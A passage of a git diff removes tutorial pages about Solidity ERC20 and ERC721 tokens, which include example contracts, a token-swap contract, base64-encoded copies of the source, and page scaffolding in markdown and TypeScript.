"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmltcG9ydCAiaHR0cHM6Ly9naXRodWIuY29tL09wZW5aZXBwZWxpbi9vcGVuemVwcGVsaW4tY29udHJhY3RzL2Jsb2IvdjQuMC4wL2NvbnRyYWN0cy90b2tlbi9FUkMyMC9JRVJDMjAuc29sIjsKCi8qCkhvdyB0byBzd2FwIHRva2VucwoKMS4gQWxpY2UgaGFzIDEwMCB0b2tlbnMgZnJvbSBBbGljZUNvaW4sIHdoaWNoIGlzIGEgRVJDMjAgdG9rZW4uCjIuIEJvYiBoYXMgMTAwIHRva2VucyBmcm9tIEJvYkNvaW4sIHdoaWNoIGlzIGFsc28gYSBFUkMyMCB0b2tlbi4KMy4gQWxpY2UgYW5kIEJvYiB3YW50cyB0byB0cmFkZSAxMCBBbGljZUNvaW4gZm9yIDIwIEJvYkNvaW4uCjQuIEFsaWNlIG9yIEJvYiBkZXBsb3lzIFRva2VuU3dhcAo1LiBBbGljZSBhcHByb3ZlcyBUb2tlblN3YXAgdG8gd2l0aGRyYXcgMTAgdG9rZW5zIGZyb20gQWxpY2VDb2luCjYuIEJvYiBhcHByb3ZlcyBUb2tlblN3YXAgdG8gd2l0aGRyYXcgMjAgdG9rZW5zIGZyb20gQm9iQ29pbgo3LiBBbGljZSBvciBCb2IgY2FsbHMgVG9rZW5Td2FwLnN3YXAoKQo4LiBBbGljZSBhbmQgQm9iIHRyYWRlZCB0b2tlbnMgc3VjY2Vzc2Z1bGx5LgoqLwoKY29udHJhY3QgVG9rZW5Td2FwIHsKICAgIElFUkMyMCBwdWJsaWMgdG9rZW4xOwogICAgYWRkcmVzcyBwdWJsaWMgb3duZXIxOwogICAgdWludCBwdWJsaWMgYW1vdW50MTsKICAgIElFUkMyMCBwdWJsaWMgdG9rZW4yOwogICAgYWRkcmVzcyBwdWJsaWMgb3duZXIyOwogICAgdWludCBwdWJsaWMgYW1vdW50MjsKCiAgICBjb25zdHJ1Y3RvcigKICAgICAgICBhZGRyZXNzIF90b2tlbjEsCiAgICAgICAgYWRkcmVzcyBfb3duZXIxLAogICAgICAgIHVpbnQgX2Ftb3VudDEsCiAgICAgICAgYWRkcmVzcyBfdG9rZW4yLAogICAgICAgIGFkZHJlc3MgX293bmVyMiwKICAgICAgICB1aW50IF9hbW91bnQyCiAgICApIHsKICAgICAgICB0b2tlbjEgPSBJRVJDMjAoX3Rva2VuMSk7CiAgICAgICAgb3duZXIxID0gX293bmVyMTsKICAgICAgICBhbW91bnQxID0gX2Ftb3VudDE7CiAgICAgICAgdG9rZW4yID0gSUVSQzIwKF90b2tlbjIpOwogICAgICAgIG93bmVyMiA9IF9vd25lcjI7CiAgICAgICAgYW1vdW50MiA9IF9hbW91bnQyOwogICAgfQoKICAgIGZ1bmN0aW9uIHN3YXAoKSBwdWJsaWMgewogICAgICAgIHJlcXVpcmUobXNnLnNlbmRlciA9PSBvd25lcjEgfHwgbXNnLnNlbmRlciA9PSBvd25lcjIsICJOb3QgYXV0aG9yaXplZCIpOwogICAgICAgIHJlcXVpcmUoCiAgICAgICAgICAgIHRva2VuMS5hbGxvd2FuY2Uob3duZXIxLCBhZGRyZXNzKHRoaXMpKSA+PSBhbW91bnQxLAogICAgICAgICAgICAiVG9rZW4gMSBhbGxvd2FuY2UgdG9vIGxvdyIKICAgICAgICApOwogICAgICAgIHJlcXVpcmUoCiAgICAgICAgICAgIHRva2VuMi5hbGxvd2FuY2Uob3duZXIyLCBhZGRyZXNzKHRoaXMpKSA+PSBhbW91bnQyLAogICAgICAgICAgICAiVG9rZW4gMiBhbGxvd2FuY2UgdG9vIGxvdyIKICAgICAgICApOwoKICAgICAgICBfc2FmZVRyYW5zZmVyRnJvbSh0b2tlbjEsIG93bmVyMSwgb3duZXIyLCBhbW91bnQxKTsKICAgICAgICBfc2FmZVRyYW5zZmVyRnJvbSh0b2tlbjIsIG93bmVyMiwgb3duZXIxLCBhbW91bnQyKTsKICAgIH0KCiAgICBmdW5jdGlvbiBfc2FmZVRyYW5zZmVyRnJvbSgKICAgICAgICBJRVJDMjAgdG9rZW4sCiAgICAgICAgYWRkcmVzcyBzZW5kZXIsCiAgICAgICAgYWRkcmVzcyByZWNpcGllbnQsCiAgICAgICAgdWludCBhbW91bnQKICAgICkgcHJpdmF0ZSB7CiAgICAgICAgYm9vbCBzZW50ID0gdG9rZW4udHJhbnNmZXJGcm9tKHNlbmRlciwgcmVjaXBpZW50LCBhbW91bnQpOwogICAgICAgIHJlcXVpcmUoc2VudCwgIlRva2VuIHRyYW5zZmVyIGZhaWxlZCIpOwogICAgfQp9Cg==", - }, -] - -const html = `

Any contract that follow the ERC20 standard is a ERC20 token.

-

ERC20 tokens provide functionalities to

-
    -
  • transfer tokens
  • -
  • allow others to transfer tokens on behalf of the token holder
  • -
-

Here is the interface for ERC20.

-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-// https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.0.0/contracts/token/ERC20/IERC20.sol
-interface IERC20 {
-    function totalSupply() external view returns (uint);
-
-    function balanceOf(address account) external view returns (uint);
-
-    function transfer(address recipient, uint amount) external returns (bool);
-
-    function allowance(address owner, address spender) external view returns (uint);
-
-    function approve(address spender, uint amount) external returns (bool);
-
-    function transferFrom(
-        address sender,
-        address recipient,
-        uint amount
-    ) external returns (bool);
-
-    event Transfer(address indexed from, address indexed to, uint value);
-    event Approval(address indexed owner, address indexed spender, uint value);
-}
-

Example of ERC20 token contract.

-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-import "./IERC20.sol";
-
-contract ERC20 is IERC20 {
-    uint public totalSupply;
-    mapping(address => uint) public balanceOf;
-    mapping(address => mapping(address => uint)) public allowance;
-    string public name = "Solidity by Example";
-    string public symbol = "SOLBYEX";
-    uint8 public decimals = 18;
-
-    function transfer(address recipient, uint amount) external returns (bool) {
-        balanceOf[msg.sender] -= amount;
-        balanceOf[recipient] += amount;
-        emit Transfer(msg.sender, recipient, amount);
-        return true;
-    }
-
-    function approve(address spender, uint amount) external returns (bool) {
-        allowance[msg.sender][spender] = amount;
-        emit Approval(msg.sender, spender, amount);
-        return true;
-    }
-
-    function transferFrom(
-        address sender,
-        address recipient,
-        uint amount
-    ) external returns (bool) {
-        allowance[sender][msg.sender] -= amount;
-        balanceOf[sender] -= amount;
-        balanceOf[recipient] += amount;
-        emit Transfer(sender, recipient, amount);
-        return true;
-    }
-
-    function mint(uint amount) external {
-        balanceOf[msg.sender] += amount;
-        totalSupply += amount;
-        emit Transfer(address(0), msg.sender, amount);
-    }
-
-    function burn(uint amount) external {
-        balanceOf[msg.sender] -= amount;
-        totalSupply -= amount;
-        emit Transfer(msg.sender, address(0), amount);
-    }
-}
-

Create your own ERC20 token

-

Using Open Zeppelin it's really easy to create your own ERC20 token.

-

Here is an example

-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v4.0.0/contracts/token/ERC20/ERC20.sol";
-
-contract MyToken is ERC20 {
-    constructor(string memory name, string memory symbol) ERC20(name, symbol) {
-        // Mint 100 tokens to msg.sender
-        // Similar to how
-        // 1 dollar = 100 cents
-        // 1 token = 1 * (10 ** decimals)
-        _mint(msg.sender, 100 * 10 ** uint(decimals()));
-    }
-}
-

Contract to swap tokens

-

Here is an example contract, TokenSwap, to trade one ERC20 token for another.

-

This contract will swap tokens by calling

-
transferFrom(address sender, address recipient, uint256 amount)
-

which will transfer amount of token from sender to recipient.

-

For transferFrom to succeed, sender must

-
    -
  • have more than amount tokens in their balance
  • -
  • allowed TokenSwap to withdraw amount tokens by calling approve
  • -
-

prior to TokenSwap calling transferFrom

-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v4.0.0/contracts/token/ERC20/IERC20.sol";
-
-/*
-How to swap tokens
-
-1. Alice has 100 tokens from AliceCoin, which is a ERC20 token.
-2. Bob has 100 tokens from BobCoin, which is also a ERC20 token.
-3. Alice and Bob wants to trade 10 AliceCoin for 20 BobCoin.
-4. Alice or Bob deploys TokenSwap
-5. Alice approves TokenSwap to withdraw 10 tokens from AliceCoin
-6. Bob approves TokenSwap to withdraw 20 tokens from BobCoin
-7. Alice or Bob calls TokenSwap.swap()
-8. Alice and Bob traded tokens successfully.
-*/
-
-contract TokenSwap {
-    IERC20 public token1;
-    address public owner1;
-    uint public amount1;
-    IERC20 public token2;
-    address public owner2;
-    uint public amount2;
-
-    constructor(
-        address _token1,
-        address _owner1,
-        uint _amount1,
-        address _token2,
-        address _owner2,
-        uint _amount2
-    ) {
-        token1 = IERC20(_token1);
-        owner1 = _owner1;
-        amount1 = _amount1;
-        token2 = IERC20(_token2);
-        owner2 = _owner2;
-        amount2 = _amount2;
-    }
-
-    function swap() public {
-        require(msg.sender == owner1 || msg.sender == owner2, "Not authorized");
-        require(
-            token1.allowance(owner1, address(this)) >= amount1,
-            "Token 1 allowance too low"
-        );
-        require(
-            token2.allowance(owner2, address(this)) >= amount2,
-            "Token 2 allowance too low"
-        );
-
-        _safeTransferFrom(token1, owner1, owner2, amount1);
-        _safeTransferFrom(token2, owner2, owner1, amount2);
-    }
-
-    function _safeTransferFrom(
-        IERC20 token,
-        address sender,
-        address recipient,
-        uint amount
-    ) private {
-        bool sent = token.transferFrom(sender, recipient, amount);
-        require(sent, "Token transfer failed");
-    }
-}
-
` - -export default html diff --git a/src/pages/app/erc20/index.md b/src/pages/app/erc20/index.md deleted file mode 100644 index 2884263a6..000000000 --- a/src/pages/app/erc20/index.md +++ /dev/null @@ -1,59 +0,0 @@ ---- -title: ERC20 -version: 0.8.20 -description: Example of ERC20 token in Solidity -keywords: [app, application, erc20, ierc20, token] ---- - -Any contract that follow the ERC20 standard is a ERC20 token. - -ERC20 tokens provide functionalities to - -- transfer tokens -- allow others to transfer tokens on behalf of the token holder - -Here is the interface for ERC20. - -```solidity -{{{IERC20}}} -``` - -Example of `ERC20` token contract. - -```solidity -{{{ERC20}}} -``` - -## Create your own ERC20 token - -Using Open Zeppelin it's really easy to create your own ERC20 token. - -Here is an example - -```solidity -{{{MyToken}}} -``` - -## Contract to swap tokens - -Here is an example contract, `TokenSwap`, to trade one ERC20 token for another. - -This contract will swap tokens by calling - -```solidity -transferFrom(address sender, address recipient, uint256 amount) - -``` - -which will transfer `amount` of token from `sender` to `recipient`. - -For `transferFrom` to succeed, `sender` must - -- have more than `amount` tokens in their balance -- allowed `TokenSwap` to withdraw `amount` tokens by calling `approve` - -prior to `TokenSwap` calling `transferFrom` - -```solidity -{{{TokenSwap}}} -``` diff --git a/src/pages/app/erc20/index.tsx b/src/pages/app/erc20/index.tsx deleted file mode 100644 index 1c63a4f4a..000000000 --- a/src/pages/app/erc20/index.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import React from "react" -import Example from "../../../components/Example" -import html, { version, title, description, codes } from "./index.html" - -interface Path { - path: string - title: string -} - -interface Props { - prev: Path | null - next: Path | null -} - -const ExamplePage: React.FC = ({ prev, next }) => { - return ( - - ) -} - -export default ExamplePage diff --git a/src/pages/app/erc721/ERC721.sol b/src/pages/app/erc721/ERC721.sol deleted file mode 100644 index b5926baf8..000000000 --- a/src/pages/app/erc721/ERC721.sol +++ /dev/null @@ -1,188 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -interface IERC165 { - function supportsInterface(bytes4 interfaceID) external view returns (bool); -} - -interface IERC721 is IERC165 { - function balanceOf(address owner) external view returns (uint balance); - - function ownerOf(uint tokenId) external view returns (address owner); - - function safeTransferFrom(address from, address to, uint tokenId) external; - - function safeTransferFrom( - address from, - address to, - uint tokenId, - bytes calldata data - ) external; - - function transferFrom(address from, address to, uint tokenId) external; - - function approve(address to, uint tokenId) external; - - function getApproved(uint tokenId) external view returns (address operator); - - function setApprovalForAll(address operator, bool _approved) external; - - function isApprovedForAll( - address owner, - address operator - ) external view returns (bool); -} - -interface IERC721Receiver { - function onERC721Received( - address operator, - address from, - uint tokenId, - bytes calldata data - ) external returns (bytes4); -} - -contract ERC721 is IERC721 { - event Transfer(address indexed from, address indexed to, uint indexed id); - event Approval(address indexed owner, address indexed spender, uint indexed id); - event ApprovalForAll( - address indexed owner, - address indexed operator, - bool approved - ); - - // Mapping from token ID to owner address - mapping(uint => address) internal _ownerOf; - - // Mapping owner address to token count - mapping(address => uint) internal _balanceOf; - - // Mapping from token ID to approved address - mapping(uint => address) internal _approvals; - - // Mapping from owner to operator approvals - mapping(address => mapping(address => bool)) public isApprovedForAll; - - function supportsInterface(bytes4 interfaceId) external pure returns (bool) { - return - interfaceId == type(IERC721).interfaceId || - interfaceId == type(IERC165).interfaceId; - } - - function ownerOf(uint id) external view returns (address owner) { - owner = _ownerOf[id]; - require(owner != address(0), "token doesn't exist"); - } - - function balanceOf(address owner) external view returns (uint) { - require(owner != address(0), "owner = zero address"); - return _balanceOf[owner]; - } - - function setApprovalForAll(address operator, bool approved) external { - isApprovedForAll[msg.sender][operator] = approved; - emit ApprovalForAll(msg.sender, operator, approved); - } - - function approve(address spender, uint id) external { - address owner = _ownerOf[id]; - require( - msg.sender == owner || isApprovedForAll[owner][msg.sender], - "not authorized" - ); - - _approvals[id] = spender; - - emit Approval(owner, spender, id); - } - - function getApproved(uint id) external view returns (address) { - require(_ownerOf[id] != address(0), "token doesn't exist"); - return _approvals[id]; - } - - function _isApprovedOrOwner( - address owner, - address spender, - uint id - ) internal view returns (bool) { - return (spender == owner || - isApprovedForAll[owner][spender] || - spender == _approvals[id]); - } - - function transferFrom(address from, address to, uint id) public { - require(from == _ownerOf[id], "from != owner"); - require(to != address(0), "transfer to zero address"); - - require(_isApprovedOrOwner(from, msg.sender, id), "not authorized"); - - _balanceOf[from]--; - _balanceOf[to]++; - _ownerOf[id] = to; - - delete _approvals[id]; - - emit Transfer(from, to, id); - } - - function safeTransferFrom(address from, address to, uint id) external { - transferFrom(from, to, id); - - require( - to.code.length == 0 || - IERC721Receiver(to).onERC721Received(msg.sender, from, id, "") == - IERC721Receiver.onERC721Received.selector, - "unsafe recipient" - ); - } - - function safeTransferFrom( - address from, - address to, - uint id, - bytes calldata data - ) external { - transferFrom(from, to, id); - - require( - to.code.length == 0 || - IERC721Receiver(to).onERC721Received(msg.sender, from, id, data) == - IERC721Receiver.onERC721Received.selector, - "unsafe recipient" - ); - } - - function _mint(address to, uint id) internal { - require(to != address(0), "mint to zero address"); - require(_ownerOf[id] == address(0), "already minted"); - - _balanceOf[to]++; - _ownerOf[id] = to; - - emit Transfer(address(0), to, id); - } - - function _burn(uint id) internal { - address owner = _ownerOf[id]; - require(owner != address(0), "not minted"); - - _balanceOf[owner] -= 1; - - delete _ownerOf[id]; - delete _approvals[id]; - - emit Transfer(owner, address(0), id); - } -} - -contract MyNFT is ERC721 { - function mint(address to, uint id) external { - _mint(to, id); - } - - function burn(uint id) external { - require(msg.sender == _ownerOf[id], "not owner"); - _burn(id); - } -} diff --git a/src/pages/app/erc721/index.html.ts b/src/pages/app/erc721/index.html.ts deleted file mode 100644 index d9f4f2a77..000000000 --- a/src/pages/app/erc721/index.html.ts +++ /dev/null @@ -1,206 +0,0 @@ -// metadata -export const version = "0.8.20" -export const title = "ERC721" -export const description = "Example of ERC721 non fungible token in Solidity" - -export const keywords = ["app", "application", "erc721", "ierc721", "nft"] - -export const codes = [ - { - fileName: "ERC721.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmludGVyZmFjZSBJRVJDMTY1IHsKICAgIGZ1bmN0aW9uIHN1cHBvcnRzSW50ZXJmYWNlKGJ5dGVzNCBpbnRlcmZhY2VJRCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zIChib29sKTsKfQoKaW50ZXJmYWNlIElFUkM3MjEgaXMgSUVSQzE2NSB7CiAgICBmdW5jdGlvbiBiYWxhbmNlT2YoYWRkcmVzcyBvd25lcikgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50IGJhbGFuY2UpOwoKICAgIGZ1bmN0aW9uIG93bmVyT2YodWludCB0b2tlbklkKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKGFkZHJlc3Mgb3duZXIpOwoKICAgIGZ1bmN0aW9uIHNhZmVUcmFuc2ZlckZyb20oYWRkcmVzcyBmcm9tLCBhZGRyZXNzIHRvLCB1aW50IHRva2VuSWQpIGV4dGVybmFsOwoKICAgIGZ1bmN0aW9uIHNhZmVUcmFuc2ZlckZyb20oCiAgICAgICAgYWRkcmVzcyBmcm9tLAogICAgICAgIGFkZHJlc3MgdG8sCiAgICAgICAgdWludCB0b2tlbklkLAogICAgICAgIGJ5dGVzIGNhbGxkYXRhIGRhdGEKICAgICkgZXh0ZXJuYWw7CgogICAgZnVuY3Rpb24gdHJhbnNmZXJGcm9tKGFkZHJlc3MgZnJvbSwgYWRkcmVzcyB0bywgdWludCB0b2tlbklkKSBleHRlcm5hbDsKCiAgICBmdW5jdGlvbiBhcHByb3ZlKGFkZHJlc3MgdG8sIHVpbnQgdG9rZW5JZCkgZXh0ZXJuYWw7CgogICAgZnVuY3Rpb24gZ2V0QXBwcm92ZWQodWludCB0b2tlbklkKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKGFkZHJlc3Mgb3BlcmF0b3IpOwoKICAgIGZ1bmN0aW9uIHNldEFwcHJvdmFsRm9yQWxsKGFkZHJlc3Mgb3BlcmF0b3IsIGJvb2wgX2FwcHJvdmVkKSBleHRlcm5hbDsKCiAgICBmdW5jdGlvbiBpc0FwcHJvdmVkRm9yQWxsKAogICAgICAgIGFkZHJlc3Mgb3duZXIsCiAgICAgICAgYWRkcmVzcyBvcGVyYXRvcgogICAgKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKGJvb2wpOwp9CgppbnRlcmZhY2UgSUVSQzcyMVJlY2VpdmVyIHsKICAgIGZ1bmN0aW9uIG9uRVJDNzIxUmVjZWl2ZWQoCiAgICAgICAgYWRkcmVzcyBvcGVyYXRvciwKICAgICAgICBhZGRyZXNzIGZyb20sCiAgICAgICAgdWludCB0b2tlbklkLAogICAgICAgIGJ5dGVzIGNhbGxkYXRhIGRhdGEKICAgICkgZXh0ZXJuYWwgcmV0dXJucyAoYnl0ZXM0KTsKfQoKY29udHJhY3QgRVJDNzIxIGlzIElFUkM3MjEgewogICAgZXZlbnQgVHJhbnNmZXIoYWRkcmVzcyBpbmRleGVkIGZyb20sIGFkZHJlc3MgaW5kZXhlZCB0bywgdWludCBpbmRleGVkIGlkKTsKICAgIGV2ZW50IEFwcHJvdmFsKGFkZHJlc3MgaW5kZXhlZCBvd25lciwgYWRkcmVzcyBpbmRleGVkIHNwZW5kZXIsIHVpbnQgaW5kZXhlZCBpZCk7CiAgICBldmVudCBBcHByb3ZhbEZvckFsbCgKICAgICAgICBhZGRyZXNzIGluZGV4ZWQgb3duZXIsCiAgICAgICAgYWRkcmVzcyBpbmRleGVkIG9wZXJhdG9yLAogICAgICAgIGJvb2wgYXBwcm92ZWQKICAgICk7CgogICAgLy8gTWFwcGluZyBmcm9tIHRva2VuIElEIHRvIG93bmVyIGFkZHJlc3MKICAgIG1hcHBpbmcodWludCA9PiBhZGRyZXNzKSBpbnRlcm5hbCBfb3duZXJPZjsKCiAgICAvLyBNYXBwaW5nIG93bmVyIGFkZHJlc3MgdG8gdG9rZW4gY291bnQKICAgIG1hcHBpbmcoYWRkcmVzcyA9PiB1aW50KSBpbnRlcm5hbCBfYmFsYW5jZU9mOwoKICAgIC8vIE1hcHBpbmcgZnJvbSB0b2tlbiBJRCB0byBhcHByb3ZlZCBhZGRyZXNzCiAgICBtYXBwaW5nKHVpbnQgPT4gYWRkcmVzcykgaW50ZXJuYWwgX2FwcHJvdmFsczsKCiAgICAvLyBNYXBwaW5nIGZyb20gb3duZXIgdG8gb3BlcmF0b3IgYXBwcm92YWxzCiAgICBtYXBwaW5nKGFkZHJlc3MgPT4gbWFwcGluZyhhZGRyZXNzID0+IGJvb2wpKSBwdWJsaWMgaXNBcHByb3ZlZEZvckFsbDsKCiAgICBmdW5jdGlvbiBzdXBwb3J0c0ludGVyZmFjZShieXRlczQgaW50ZXJmYWNlSWQpIGV4dGVybmFsIHB1cmUgcmV0dXJucyAoYm9vbCkgewogICAgICAgIHJldHVybgogICAgICAgICAgICBpbnRlcmZhY2VJZCA9PSB0eXBlKElFUkM3MjEpLmludGVyZmFjZUlkIHx8CiAgICAgICAgICAgIGludGVyZmFjZUlkID09IHR5cGUoSUVSQzE2NSkuaW50ZXJmYWNlSWQ7CiAgICB9CgogICAgZnVuY3Rpb24gb3duZXJPZih1aW50IGlkKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKGFkZHJlc3Mgb3duZXIpIHsKICAgICAgICBvd25lciA9IF9vd25lck9mW2lkXTsKICAgICAgICByZXF1aXJlKG93bmVyICE9IGFkZHJlc3MoMCksICJ0b2tlbiBkb2Vzbid0IGV4aXN0Iik7CiAgICB9CgogICAgZnVuY3Rpb24gYmFsYW5jZU9mKGFkZHJlc3Mgb3duZXIpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludCkgewogICAgICAgIHJlcXVpcmUob3duZXIgIT0gYWRkcmVzcygwKSwgIm93bmVyID0gemVybyBhZGRyZXNzIik7CiAgICAgICAgcmV0dXJuIF9iYWxhbmNlT2Zbb3duZXJdOwogICAgfQoKICAgIGZ1bmN0aW9uIHNldEFwcHJvdmFsRm9yQWxsKGFkZHJlc3Mgb3BlcmF0b3IsIGJvb2wgYXBwcm92ZWQpIGV4dGVybmFsIHsKICAgICAgICBpc0FwcHJvdmVkRm9yQWxsW21zZy5zZW5kZXJdW29wZXJhdG9yXSA9IGFwcHJvdmVkOwogICAgICAgIGVtaXQgQXBwcm92YWxGb3JBbGwobXNnLnNlbmRlciwgb3BlcmF0b3IsIGFwcHJvdmVkKTsKICAgIH0KCiAgICBmdW5jdGlvbiBhcHByb3ZlKGFkZHJlc3Mgc3BlbmRlciwgdWludCBpZCkgZXh0ZXJuYWwgewogICAgICAgIGFkZHJlc3Mgb3duZXIgPSBfb3duZXJPZltpZF07CiAgICAgICAgcmVxdWlyZSgKICAgICAgICAgICAgbXNnLnNlbmRlciA9PSBvd25lciB8fCBpc0FwcHJvdmVkRm9yQWxsW293bmVyXVttc2cuc2VuZGVyXSwKICAgICAgICAgICAgIm5vdCBhdXRob3JpemVkIgogICAgICAgICk7CgogICAgICAgIF9hcHByb3ZhbHNbaWRdID0gc3BlbmRlcjsKCiAgICAgICAgZW1pdCBBcHByb3ZhbChvd25lciwgc3BlbmRlciwgaWQpOwogICAgfQoKICAgIGZ1bmN0aW9uIGdldEFwcHJvdmVkKHVpbnQgaWQpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAoYWRkcmVzcykgewogICAgICAgIHJlcXVpcmUoX293bmVyT2ZbaWRdICE9IGFkZHJlc3MoMCksICJ0b2tlbiBkb2Vzbid0IGV4aXN0Iik7CiAgICAgICAgcmV0dXJuIF9hcHByb3ZhbHNbaWRdOwogICAgfQoKICAgIGZ1bmN0aW9uIF9pc0FwcHJvdmVkT3JPd25lcigKICAgICAgICBhZGRyZXNzIG93bmVyLAogICAgICAgIGFkZHJlc3Mgc3BlbmRlciwKICAgICAgICB1aW50IGlkCiAgICApIGludGVybmFsIHZpZXcgcmV0dXJucyAoYm9vbCkgewogICAgICAgIHJldHVybiAoc3BlbmRlciA9PSBvd25lciB8fAogICAgICAgICAgICBpc0FwcHJvdmVkRm9yQWxsW293bmVyXVtzcGVuZGVyXSB8fAogICAgICAgICAgICBzcGVuZGVyID09IF9hcHByb3ZhbHNbaWRdKTsKICAgIH0KCiAgICBmdW5jdGlvbiB0cmFuc2ZlckZyb20oYWRkcmVzcyBmcm9tLCBhZGRyZXNzIHRvLCB1aW50IGlkKSBwdWJsaWMgewogICAgICAgIHJlcXVpcmUoZnJvbSA9PSBfb3duZXJPZltpZF0sICJmcm9tICE9IG93bmVyIik7CiAgICAgICAgcmVxdWlyZSh0byAhPSBhZGRyZXNzKDApLCAidHJhbnNmZXIgdG8gemVybyBhZGRyZXNzIik7CgogICAgICAgIHJlcXVpcmUoX2lzQXBwcm92ZWRPck93bmVyKGZyb20sIG1zZy5zZW5kZXIsIGlkKSwgIm5vdCBhdXRob3JpemVkIik7CgogICAgICAgIF9iYWxhbmNlT2ZbZnJvbV0tLTsKICAgICAgICBfYmFsYW5jZU9mW3RvXSsrOwogICAgICAgIF9vd25lck9mW2lkXSA9IHRvOwoKICAgICAgICBkZWxldGUgX2FwcHJvdmFsc1tpZF07CgogICAgICAgIGVtaXQgVHJhbnNmZXIoZnJvbSwgdG8sIGlkKTsKICAgIH0KCiAgICBmdW5jdGlvbiBzYWZlVHJhbnNmZXJGcm9tKGFkZHJlc3MgZnJvbSwgYWRkcmVzcyB0bywgdWludCBpZCkgZXh0ZXJuYWwgewogICAgICAgIHRyYW5zZmVyRnJvbShmcm9tLCB0bywgaWQpOwoKICAgICAgICByZXF1aXJlKAogICAgICAgICAgICB0by5jb2RlLmxlbmd0aCA9PSAwIHx8CiAgICAgICAgICAgICAgICBJRVJDNzIxUmVjZWl2ZXIodG8pLm9uRVJDNzIxUmVjZWl2ZWQobXNnLnNlbmRlciwgZnJvbSwgaWQsICIiKSA9PQogICAgICAgICAgICAgICAgSUVSQzcyMVJlY2VpdmVyLm9uRVJDNzIxUmVjZWl2ZWQuc2VsZWN0b3IsCiAgICAgICAgICAgICJ1bnNhZmUgcmVjaXBpZW50IgogICAgICAgICk7CiAgICB9CgogICAgZnVuY3Rpb24gc2FmZVRyYW5zZmVyRnJvbSgKICAgICAgICBhZGRyZXNzIGZyb20sCiAgICAgICAgYWRkcmVzcyB0bywKICAgICAgICB1aW50IGlkLAogICAgICAgIGJ5dGVzIGNhbGxkYXRhIGRhdGEKICAgICkgZXh0ZXJuYWwgewogICAgICAgIHRyYW5zZmVyRnJvbShmcm9tLCB0bywgaWQpOwoKICAgICAgICByZXF1aXJlKAogICAgICAgICAgICB0by5jb2RlLmxlbmd0aCA9PSAwIHx8CiAgICAgICAgICAgICAgICBJRVJDNzIxUmVjZWl2ZXIodG8pLm9uRVJDNzIxUmVjZWl2ZWQobXNnLnNlbmRlciwgZnJvbSwgaWQsIGRhdGEpID09CiAgICAgICAgICAgICAgICBJRVJDNzIxUmVjZWl2ZXIub25FUkM3MjFSZWNlaXZlZC5zZWxlY3RvciwKICAgICAgICAgICAgInVuc2FmZSByZWNpcGllbnQiCiAgICAgICAgKTsKICAgIH0KCiAgICBmdW5jdGlvbiBfbWludChhZGRyZXNzIHRvLCB1aW50IGlkKSBpbnRlcm5hbCB7CiAgICAgICAgcmVxdWlyZSh0byAhPSBhZGRyZXNzKDApLCAibWludCB0byB6ZXJvIGFkZHJlc3MiKTsKICAgICAgICByZXF1aXJlKF9vd25lck9mW2lkXSA9PSBhZGRyZXNzKDApLCAiYWxyZWFkeSBtaW50ZWQiKTsKCiAgICAgICAgX2JhbGFuY2VPZlt0b10rKzsKICAgICAgICBfb3duZXJPZltpZF0gPSB0bzsKCiAgICAgICAgZW1pdCBUcmFuc2ZlcihhZGRyZXNzKDApLCB0bywgaWQpOwogICAgfQoKICAgIGZ1bmN0aW9uIF9idXJuKHVpbnQgaWQpIGludGVybmFsIHsKICAgICAgICBhZGRyZXNzIG93bmVyID0gX293bmVyT2ZbaWRdOwogICAgICAgIHJlcXVpcmUob3duZXIgIT0gYWRkcmVzcygwKSwgIm5vdCBtaW50ZWQiKTsKCiAgICAgICAgX2JhbGFuY2VPZltvd25lcl0gLT0gMTsKCiAgICAgICAgZGVsZXRlIF9vd25lck9mW2lkXTsKICAgICAgICBkZWxldGUgX2FwcHJvdmFsc1tpZF07CgogICAgICAgIGVtaXQgVHJhbnNmZXIob3duZXIsIGFkZHJlc3MoMCksIGlkKTsKICAgIH0KfQoKY29udHJhY3QgTXlORlQgaXMgRVJDNzIxIHsKICAgIGZ1bmN0aW9uIG1pbnQoYWRkcmVzcyB0bywgdWludCBpZCkgZXh0ZXJuYWwgewogICAgICAgIF9taW50KHRvLCBpZCk7CiAgICB9CgogICAgZnVuY3Rpb24gYnVybih1aW50IGlkKSBleHRlcm5hbCB7CiAgICAgICAgcmVxdWlyZShtc2cuc2VuZGVyID09IF9vd25lck9mW2lkXSwgIm5vdCBvd25lciIpOwogICAgICAgIF9idXJuKGlkKTsKICAgIH0KfQo=", - }, -] - -const html = `

Example of ERC721

-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-interface IERC165 {
-    function supportsInterface(bytes4 interfaceID) external view returns (bool);
-}
-
-interface IERC721 is IERC165 {
-    function balanceOf(address owner) external view returns (uint balance);
-
-    function ownerOf(uint tokenId) external view returns (address owner);
-
-    function safeTransferFrom(address from, address to, uint tokenId) external;
-
-    function safeTransferFrom(
-        address from,
-        address to,
-        uint tokenId,
-        bytes calldata data
-    ) external;
-
-    function transferFrom(address from, address to, uint tokenId) external;
-
-    function approve(address to, uint tokenId) external;
-
-    function getApproved(uint tokenId) external view returns (address operator);
-
-    function setApprovalForAll(address operator, bool _approved) external;
-
-    function isApprovedForAll(
-        address owner,
-        address operator
-    ) external view returns (bool);
-}
-
-interface IERC721Receiver {
-    function onERC721Received(
-        address operator,
-        address from,
-        uint tokenId,
-        bytes calldata data
-    ) external returns (bytes4);
-}
-
-contract ERC721 is IERC721 {
